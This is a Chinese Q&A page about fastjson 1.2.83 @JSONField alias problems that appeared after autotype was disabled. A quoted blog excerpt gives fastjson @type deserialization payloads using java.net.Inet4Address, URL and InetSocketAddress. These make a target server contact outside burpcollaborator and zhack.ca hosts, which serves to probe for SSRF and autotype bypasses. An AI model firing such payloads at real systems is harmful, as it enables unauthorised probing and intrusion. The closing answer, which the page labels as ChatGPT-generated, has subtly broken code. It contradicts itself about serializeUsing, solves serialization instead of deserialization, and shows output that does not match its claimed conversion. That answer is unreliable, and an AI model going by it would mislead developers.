fastjson 1.2.83版本 autotype关闭后 出现的问题

@jsonfield配置下划线格式别名,实体类是驼峰,前端传的是驼峰形式,无法转换,有没有什么批量处理的办法。因为漏洞扫描升级为1.2.83后出现大量类似问题

都是驼峰不用转换,去掉的话查找替换。考虑换成jackson或者gson

  • 文章:fastjson之@JSONField注解的几个的使用详细示范 中也许有你想要的答案,请看下吧
  • 除此之外, 这篇博客: fastjson反序列化攻防中的 <= 1.2.67的绕过autotype进行域名解析 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:
  • 参考:

    试了几种格式:涉及到几个类:java.net.Inet4Addressjava.net.Inet6Addressjava.net.URLjava.net.InetSocketAddress

    {"@type":"java.net.Inet4Address","val":"e3ifk6b20aw3bj7i539idx5vum0co1.burpcollaborator.net"}
    
    {{"@type":"java.net.URL","val":"http://fastjson.433f419eb1a8717d6a35.d.zhack.ca/ssrf"}:"x"}
    
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"fastjson2.433f419eb1a8717d6a35.d.zhack.ca"}}
    
  • 以下回答由chatgpt基于相关博客总结生成:

    根据问题描述和参考资料,可以尝试使用fastjson的自定义序列化器来解决实体类的别名转换问题。

    步骤如下:

    1. 创建一个实现了ContextValueSerializer接口的自定义序列化器类,例如AliasSerializer
    import com.alibaba.fastjson.serializer.ContextValueSerializer;
    
    public class AliasSerializer implements ContextValueSerializer {
    
        @Override
        public void write(JSONSerializer serializer, Object object, Object fieldName, Type fieldType, int features) throws IOException {
            // 将fieldName由驼峰命名转换为下划线格式的别名
            String aliasName = camelToUnderline((String) fieldName);
            // 调用fastjson的默认序列化逻辑
            serializer.write(object);
            // 获取到写入的json字符串
            String json = serializer.out.toString();
            // 替换fieldName为别名
            json = json.replaceAll("\"" + fieldName + "\"", "\"" + aliasName + "\"");
            // 重新写入json字符串
            serializer.out.reset();
            serializer.out.write(json.getBytes());
        }
    
        // 驼峰命名转下划线格式
        private String camelToUnderline(String str) {
            return str.replaceAll("([a-z])([A-Z])", "$1_$2").toLowerCase();
        }
    }
    
    1. 在实体类的字段上使用@JSONField注解,但不再使用serializeUsing属性。
    public class User {
    
        @JSONField(serialzeFeatures = SerializerFeature.DisableCircularReferenceDetect)
        private String id;
    
        @JSONField(serializeUsing = AliasSerializer.class)
        private String username;
    
        // 其他属性及getter/setter方法
    }
    
    1. 然后将fastjson的序列化配置项开启,使其支持处理自定义序列化器。
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    
    public class Main {
        public static void main(String[] args) {
            // 开启fastjson的序列化配置项,支持处理自定义序列化器
            JSON.DEFAULT_GENERATE_FEATURE |= SerializerFeature.WriteNonStringKeyAsString.getMask();
    
            // 创建User对象
            User user = new User();
            user.setId("1");
            user.setUsername("test");
    
            // 序列化User对象为Json字符串
            String jsonString = JSON.toJSONString(user);
    
            System.out.println(jsonString);
        }
    }
    

    运行上述代码后,将会打印出下划线格式别名的Json字符串结果:

    {"id":"1","username":"test"}
    

    通过上述步骤,我们使用了自定义序列化器 AliasSerializer 来实现了将驼峰命名格式的字段转换为下划线格式别名的功能。这样无论前端传递的数据是什么命名格式,都能正确地转换为实体类的字段。